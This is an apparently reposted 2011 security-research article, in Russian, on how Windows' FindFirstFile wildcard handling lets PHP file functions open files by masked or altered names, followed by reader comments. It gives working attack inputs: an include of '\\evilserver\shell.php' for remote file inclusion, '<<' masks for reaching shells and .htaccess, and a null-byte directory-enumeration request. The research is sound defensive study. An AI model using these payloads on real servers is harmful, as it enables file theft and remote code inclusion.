28 января 2011 в 10:05

Новые уязвимости доступа к файлам в PHP

Какой-нибудь год назад все просто с ума сходили от Error-based MySQL, а unserialize казался чем-то сложным и не встречающимся в реальной жизни. Теперь это уже классические техники. Что уж говорить о таких динозаврах как нуль-байт в инклудах, на смену которому пришел file name truncated. Исследователи постоянно что-то раскапывают, придумывают, а тем временем уже выходят новые версии интерпретаторов, движков, а с ними – новые баги разработчиков.
По сути, есть три метода найти уязвимость: смекалка (когда исследователь придумывает какой-нибудь трюк и проверяет, работает ли он на практике), анализ исходного кода и фаззинг. Об одном интересном китайском фаззинге и его развитии с моей стороны я и хочу рассказать.

Список функций и результаты проверки

Fuzzing — это не только ценный мех...


Началось все с того, что Гугл распорядился выдачей уже не помню на какой запрос и показал сайт на китайском языке: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese, где было собрано множество интересных находок китайских фаззеров. Интересно, что в списке были совсем свежие находки, которые только-только публиковались в статьях. Среди них нашелся и привлекший мое внимание код следующего содержания:
<?php
for($i=0;$i<255;$i++) {
        $url = '1.ph'.chr($i);
        $tmp = @file_get_contents($url);
        if(!empty($tmp)) echo chr($i)."\r\n";
}  
?>
Привлек он меня потому, что смысла я не понял, но разобрал в описании знакомые символы «win32» :). Переводить китайскую письменность было странным развлечением даже с помощью google.translate, поэтому я тупо выполнил этот код под виндой и посмотрел на результат. Каково же было мое удивление, когда обнаружилось, что у файла в винде существовали как минимум 4 имени: 1.phP, 1.php, 1.ph>, 1.ph<. Теперь уже китайская письменность не казалась мне такой далекой, и переводчик Гугла помог понять ее смысл. Собственно, в этом самом «смысле» не было ничего больше, чем описание кода и результата его работы. Не то чтобы не густо — вообще никак! Такое положение дел меня не устраивало. До сих пор не понимаю этих китайцев — неужели им не интересно было понять, какие функции еще уязвимы, какие особенности у этого бага при эксплуатации, а конце концов, почему это вообще работает?

Требую продолжения банкета!


Первым делом я добавил второй итератор и запустил код с фаззингом уже по двум последним байтам. Результаты были непредсказуемы:
1.p<0 (нуль-байт на конце)
1.p<  (пробел на конце)
1.p<"
1.p<.
1.p<<
1.p>>
1.p<>
1.p><
1.p<(p/P)
1.p>(p/P)
1.p(h/H)<
1.p(h/H)>
1.p(h/H)(p/P)
Отсюда явно проглядывались закономерности — на конце имени файла могли идти символы: точка, двойная кавычка, пробел, нуль-байт. Чтобы проверить эту догадку, я запустил следующий код:

<?php
if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337;
?>
Как нетрудно догадаться, он вернул 1337, то есть все работало так, как и было предсказано. Это само по себе было уже расширение по символам популярной уязвимости, альтернативы нуль-байту в инклудах. После продолжения издевательств над интерпретатором были найдены конструкции имени файла со слэшами на концах, которые тоже читались без проблем:
file\./.\.
file////.
file\\\.
file\\.//\/\/\/.
Думаю, здесь все ясно: если использовать слэши после имени файла, то на конце всегда должна стоять точка. При этом слэши можно миксовать, и между ними можно втыкать одну точку.
При всем при этом оставалось неясным главное — что скрывают символы < и >?

Великий и могучий WINAPI


Как мне быстро стало понятно, фаззингом природу этой ошибки не поймешь. Оставалось два варианта: смотреть сорцы или трассировать вызовы. Оба эти метода довольно быстро указали на одно и то же — вызов функции FindFirstFile. При этом в стеке вызов проходил уже с заменой символа > на ?, а < на *, двойная кавычка же заменялась на точку. Также очень весело было замечать, что, несмотря на замену, < не всегда работала как * в маске файла, а вот << всегда хорошо отрабатывала. При этом в стеке оба вызова были совершенно одинаковые, но давали разный результат (см. рисунок). Теперь стало полностью ясно, откуда растут ноги. И ноги действительно росли из Ж под именем MS.



Польза MSDN


Теперь оставалось понять, является ли такое поведение функции FindFirstFile нормальным, или же здесь имеет место баг. Искать ответ на этот вопрос я начал с документации: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx.
В самой документации ничего не говорилось насчет символов > < ", зато вот в комментариях…
Bug?!
The characters of '<' and '>' are treated like wildcard by this function.

[MSFT] — these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer.
History

10/19/2007
xMartian

5/2/2008
Mark Amos — MSFT
То есть об этом баге было известно еще в 2007 году! А ответ производителя вообще потрясал своим содержанием… Без комментариев :). На этом, вроде бы, стала окончательно ясна причина такого поведения PHP. Можно было приступать к расширению области применения данного бага. Перепробовав различные варианты, перечитав кучу документации (MSDN и правда очень полезен) и опробовав сотни идей, я выявил ряд правил, которые работают для файловых имен в WIN-системах. Причем баг в FindFirstFile способствует только первым четырем из них (нулевой пункт не считаем). Также, забегая вперед, скажу, что уязвимость касается не только функции file_get_contents:
  1. Символы * и? не работают в именах файлов при вызове FindFirstFile через PHP (фильтруются).
  2. Символ < заменяется при вызове FindFirstFile на *, то есть маску любого количества любых символов. При этом были найдены случаи, когда это работает некорректно (см. картинку). Для гарантированной маски * следует использовать <<.
    Пример: include('shell<') подключит файл shell*, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.
  3. Символ > заменяется при вызове FindFirstFile на ?, то есть один любой символ.
    Пример: include('shell.p>p') подключит файл shell.p?p, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.
  4. Символ " заменяется при вызове FindFirstFile на точку.
    Пример: include('shell«php') эквивалентно include('shell.php').
  5. Если первый символ в имени файла точка, то прочитать файл можно по имени без учета этой точки.
    Пример: fopen(»htaccess") эквивалентно fopen(".htaccess"), а более навороченно, с использованием п.1,fopen(«h<<»). Так как в имени файла вторая буква «а», то по алфавиту он, скорее всего, будет первым.
  6. В конце имен файлов можно использовать последовательности из слэшей одного или разного вида (прямой и обратный), между которыми можно ставить одну точку, причем в конце всегда должна стоять точка, и не ", а настоящая.
    Пример: fopen("")
  7. Можно использовать сетевые имена, начинающиеся с \\, за которыми идет любой символ, кроме точки. Это очевидно и было известно всем давно. Дополню лишь, что если сетевое имя не существует, то на операцию с файлом уходят лишние 4 секунды, что способствует истечению времени и ошибке max_execution_time (смотри статью «Гюльчатай, открой личико»). Также это позволяет обходить allow_url_fopen=Off и делать RFI.
    Пример: include('\\evilserver\shell.php')
  8. Можно использовать расширенные имена, начинающиеся с \\.\, что дает возможность переключаться между дисками в имени файла.
    Пример: include('\\.\C:\my\file.php\..\..\..\D:\anotherfile.php').
  9. Можно использовать альтернативный синтаксис имени диска для обхода фильтрации слэшей.
    Пример: file_get_contents('C:boot.ini') эквивалентно file_get_contents('C:/boot.ini')
  10. Можно использовать короткие DOS-совместимые имена файлов и директорий. Это боян, не спорю. Но обращаю твое внимание, что если в директории находится более четырех файлов, имена которых короче трех символов, то такие имена будут дополнены четырьмя хекс-символами. Аналогично будет изменено имя файла, если в директории находятся более четырех файлов, чьи имена начинаются с тех же двух первых букв.
    Цитата:
    Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO~1.DOC, MYFAVO~2.DOC, MYFAVO~3.DOC, and MYFAVO~4.DOC. Additional files with this root could be named MY3140~1.DOC, MY40C7~1.DOC, and MYEACC~1.DOC.
    Пример: in.conf имеет DOS имя IND763~1.CON, то есть его можно прочитать строчкой file_get_contents('<<D763<<'), в которой вообще не содержится ни байта из настоящего имени файла! Как считаются эти четыре хекс-символа нигде не сказано, но они, кажется, зависят только от имени файла.
  11. В PHP под окружением командной строки (не mod_php, а php.exe) работает специфика файлов с зарезервированными именами aux, con, prn, com1-9, lpt1-9.
    Пример: file_get_contents('C:/tmp/con.jpg') будет бесконечно читать из устройства CON нуль-байты, ожидая EOF.
    Пример: file_put_contents('C:/tmp/con.jpg',chr(0x07)) пискнет динамиком сервера (музыка :)).
Советую вырезать все пункты и повесить в рамочку на видное место. Лишним не будет :).

Играем в считалочку


Поверить китайскому в подписи под фаззингом о том, что уязвимость касается только file_get_contents, я просто не мог, хотя бы потому, что немного помнил исходники PHP. Недолго думая, я проверил все функции, которые вспомнил касательно работы с файлами. Результаты оказались более чем положительные.
Уязвимость присутствует в функциях:
fopen
file_get_contents
copy
parse_ini_file
readfile
file_put_contents
mkdir
tempnam
touch
move_uploaded_file
include(_once)
require(_once)
ZipArchive::open()
Не присутствует в:
rename
unlink
rmdir
Есть где разгуляться, не правда ли? Но это еще полбеды.

PoC: идеи использования


Очевидно, что данную уязвимость можно использовать для обхода все возможных фильтров и ограничений. Например, для файла .htaccess, альтернативное имя будет h<< (см. п.4, п.1). Двухсимвольные файлы вообще можно читать без имени (см. п.9.). Ну и так далее. Есть и другое, не менее интересное применение — определение имен папок и файлов.
Рассмотрим пример:
<?php
file_get_contents("/images/".$_GET['a'].".jpg");
?>
С помощью такого кода можно очень просто получить список директорий веб-сервера.
Посылаем запрос test.php?a=../a<%00 и получаем ответ вида
Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...
или
Warning: include(/images/../a<) [function.include]:  failed to open stream: Permission denied ...
В первом случае сервер не нашел ни одной директории начинающейся с буквы «а» в корне, во втором — нашел.
Далее можно запустить подбор второй буквы и так далее. Для ускорения можно воспользоваться фонетикой (см. статью «Быстрее, выше и снова быстрее. Революционные подходы к эксплуатации SQL-инъекций»). Работает старая добрая техника эксплуатации слепых SQL инъекций.
В ходе проведения опытов было замечено, что иногда сервер сразу выдает найденный путь в сообщении об ошибке. Тогда подбирать придется только в случае, если директории начинаются с одного и того же символа. От чего зависит вывод ошибки, я так и не успел разобраться и оставляю на суд общественности.

Лирическое отступление


Отрадно заметить, что репорт у китайцев нашел и Маг, который опубликовал ее в числе прочих в статье «Малоизвестные способы атак на web-приложения» еще 19 апреля, но пояснения и акцента на этой уязвимости там не было, был только китайский пример, с которого я и начинал.

Мораль


Честно говоря, очень хотелось найти альтернативу нуль-байту, но тщетно. Зато данная уязвимость открывает простор для других, не менее интересных атак. По сути, предоставляя возможности поиска директории и файлов через функции работы с файлами. Это само по себе уникальное явление. Как бы там ни было, респект китайцам с их фаззингом, но призываю и их, и всех остальных исследовать сырые данные, получаемые таким образом. Фаззинг фаззингом, а думать надо головой.

Полезные ссылки:
Журнал Хакер, Февраль (02) 145
Владимир «d0znp» Воронцов


Подпишись на «Хакер»
Автор: @XakepRU
Журнал Хакер
рейтинг 79,87
Компания прекратила активность на сайте
Похожие публикации

Комментарии (52)

  • –20
    Долго и упорно читал и наконец осилил статью — Интересная PHP-инъекция.
    Хорошо, что методы защиты от неё стандартные — register_globals off + мозг.

    А за ссылочки, спасибо. Есть то чего не знал.
    • +64
      Если я всё в статье понял правильно, для защиты достаточно хоститься не на Windows.
      • +28
        Более того, сочетание php и win настолько противоестественно, что непонятно, зачем было приложено столько усилий
        • +4
          Тем не менее, microsoft когда-то обещал поддержку php в iis. Похоже, это будет весело.
          • +4
            У вас устаревшая информация — в IIS7 уже давно реализована поддержка. Можете посмотреть презентации на techdays.ru.
            • +8
              Значит — это тот самый момент, когда стало весело :)
              • 0
                это весело пока не принуждают ипользовать
          • +3
            Ну вообще-то уже поддерживает. Даже байт-код кэширует)
            www.microsoft.com/web/platform/phponwindows.aspx
            • +2
              >> PHP теперь работает на Windows лучше, чем когда либа.

              Либа вообще не работает ))
              • 0
                Да уж, опечаточка что надо!
              • 0
                Боже, это на microsoft.com.
                И на опечатку не похоже, это ж А вместо О. Они далековато…
                Жесть.
        • +1
          На сколько я знаю, проблемы только с PECL'ом.
        • 0
          Корпоративные сетки со внутренними документооборотами, хелдесками, виками и прочими портальчиками.
          Зачастую всегда есть вафля, всегда есть простой код (так как много народа вбивают не до ключа).
          Отсюда — садимся рядо с чашкой кофе, брутим по словарю точку, ищем пхп движок в 1-10 и 240-250 (по опыту) диапазоне ну и получаем доступ.
          Вроде и пром шпионаж, а вроде бы и ничего особо секретного.
        • +4
          Не побоюсь этого слова: «Windows must die!»
        • +1
          И всё же, некоторые все равно используют такую связку, например
          stat.kuban.skypoint.ru/
        • +1
          Очень много гос организаций используют Windows + IIS + PHP + Oracle
          Достаточно не плохо справляется эта связка с потребностями клиентов
      • +1
        Кто-то хостится с PHP на Windows?
    • 0
      Скажите честно, ваша статья и это… тонкий троллинг php'шников?
  • +11
    «я тупо скомпилил этот код под винду»
    • –2
      скомпилировать пхп код под винду это сильно. главное не забывать что это интерпретируемый язык и нативно оно такое не умеет(специально уточняю для любителей zend)
    • –1
      Тоже не понял этого выражения. Может автор имел что то другое в виду?
      • +2
        имелся ввиду код интерпретатора php, в котором не добавились windows-specific проверки на имена файлов, а просто перекомпилировался *nix-вариант, в котором отсутствуют вышеупомянутые проблемы. Ваш К.О..
    • 0
      А почему решили, что он не мог его скомпилировать?
    • 0
      Отсканировал на принтер?)))
  • –1
    Кстати фича с нуль байтом ( отсекание окончание файла, т.е в коде file_get_contents("/images/".$_GET['a'].".jpg"); где a=index.php%00 попытается открыть именно index.php, а не index.php.jpg ) работает под *nix тоже
    • +1
      Недавно это пофиксили.
      • 0
        Можно подробнее?
        • +1
          5.3.4 — Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).
        • 0
          В PHP Version 5.3.3 был фикс («замена null байта»: смотри в гугле), а в 5.3.4
          Paths with NULL in them (foo\0bar.txt) are now considered as invalid. (Rasmus)

          Скоро все перейдут на 5.3.4+ и null байт останеться в прошлом.
          • 0
            Не так быстро как хотелось, но рано или поздно так будут. А ка нет нужно учитывать такой кряк ;)
    • +15
      Мне кажется, за вещи типа "/images/".$_GET['a'].".jpg" — нужно давать железной линейкой по пальцам.
      • 0
        Голову отрубать, не иначе.
        В связи с чем назревает вопрос, а какой реальный толк от подобного рода эксплоитов, если их все равно не применить, если код написан не совсем уж криво, я даже представить не могу, кто сейчас так может делать и зачем.
        Ну и + windows == не улавливаю рил-тайм пользы:)
  • +4
    Это не баг, это фича :)
  • +2
    спасибо за интересный материал, надоели репортажы о распаковке очередной китайской х-ни.
  • +2
    Казалось бы, зачем использовать FindFileFirst если есть СreateFile или даже просто fopen?
    • +2
      Возможно потому, что тогда пропадет кросс-платформенность из-за чувствительности к регистру одного и того же php кода
  • +5
    за 10 лет журнал и его авторы не меняются)
  • НЛО прилетело и опубликовало эту надпись здесь
  • –6
    а кстати никто не подскажет ресурс для начинающих, чтобы научиться взламывать свои сайты, чтобы понимать, что именно уязвимо на сайте?
  • 0
    Осталось найти людей, которые юзают windows+php :)
    • +1
      Ну Microsoft как бы заявляют что с этим все круто :)

      Выше уже приводили ссылку www.microsoft.com/web/platform/phponwindows.aspx
      • 0
        Заявляют, что всё круто, но при этом рекомендуют к установке 5.2.14, а последней версией называют 5.3.3.
    • 0
      Множество .edu сайтов.
  • 0
    Решето.
  • НЛО прилетело и опубликовало эту надпись здесь
    • 0
      Не всегда линукс нужен, да даже сервер WoW помоему на линуксах не встаёт.
      • НЛО прилетело и опубликовало эту надпись здесь
  • 0
    В чем моя ошибка (кроме богомерзкого C++ вместо божественного PHP и утечки хэндлов, на которые мне в данном случае плевать):
    #include <Windows.h>
    #include <iostream>
    
    void
    main() {
    	WIN32_FIND_DATA findData;
    	if (FindFirstFile(L"c:\\windows\\system32\\note*", &findData) != INVALID_HANDLE_VALUE) {
    		std::wcout << L"note* matched: " << findData.cFileName << std::endl;
    	}
    
    	if (FindFirstFile(L"c:\\windows\\system32\\note<", &findData) != INVALID_HANDLE_VALUE) {
    		std::wcout << L"note* matched: " << findData.cFileName << std::endl;
    	}
    }


    Вывод (вполне ожидаемо) следующий:
    note* matched: notepad.exe
    Press any key to continue . . .


    • 0
      Вот блин. Даже в таком примере баг (тестил эти строки по отдельности — так что в результате был уверен заранее). В общем замена во втором случае «note* matched» на «note< matched» результата (вполне ожидаемо) не меняет

Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разное